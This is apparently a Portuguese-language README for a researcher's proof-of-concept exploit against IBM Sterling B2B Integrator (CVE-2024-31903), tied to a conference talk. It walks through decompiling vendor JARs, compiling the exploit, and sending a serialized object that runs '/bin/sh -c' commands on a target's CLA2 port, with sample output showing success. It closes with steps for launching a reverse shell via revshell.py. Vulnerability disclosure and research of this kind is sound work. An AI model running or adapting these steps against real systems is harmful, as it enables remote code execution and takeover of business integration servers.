
Código PoC para os ataques LPE e RCE (CVE-2024-31903) contra o IBM Sterling B2B Integrator
Código de prova de conceito para a exploração das vulnerabilidades descobertas contra o IBM Sterling B2B Integrator, versões 6.2.0.0 a 6.2.0.2 e 6.0.0.0 a 6.1.2.5 para sistemas Linux, Windows e AIX:
Mais detalhes sobre essas questões podem ser encontrados na minha palestra no DistricCon "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication":
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
A maior parte deste código no repositório refere-se ao ataque de injeção de comando LPE.
O cliente binário Python bin_client.py pode ser usado para enviar mensagens manualmente para o CLA2, permitindo a exploração da vulnerabilidade de desserialização RCE.
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
O PoC aceita dois parâmetros:
bin_client.py, ou a string "SEND" para enviá-la imediatamente para host:port onde um cliente CLA2 está escutandoO código-fonte incluído neste repositório está deliberadamente incompleto, pois são necessárias certas classes do subsistema CLA2. Dependendo das permissões do sistema de arquivos do diretório de instalação, você pode conseguir acessar os arquivos JAR.
Supondo que você recuperou os arquivos relevantes da descompilação do JAR. Não serão carregados aqui, pois constituem propriedade intelectual da IBM.
Descompile CLA2Client.jar
No código descompilado, localize os arquivos CmdLine2Result.java e CmdLine2Parms.java
Copie e cole-os ao lado de Main.java para replicar a estrutura de diretórios do pacote Java da aplicação original
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py e revshell_listener.py para o sistema alvo e inicie o listener. Em seguida, substitua o parâmetro de comando do PoC por uma invocação do script de shell reverso conforme abaixo:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND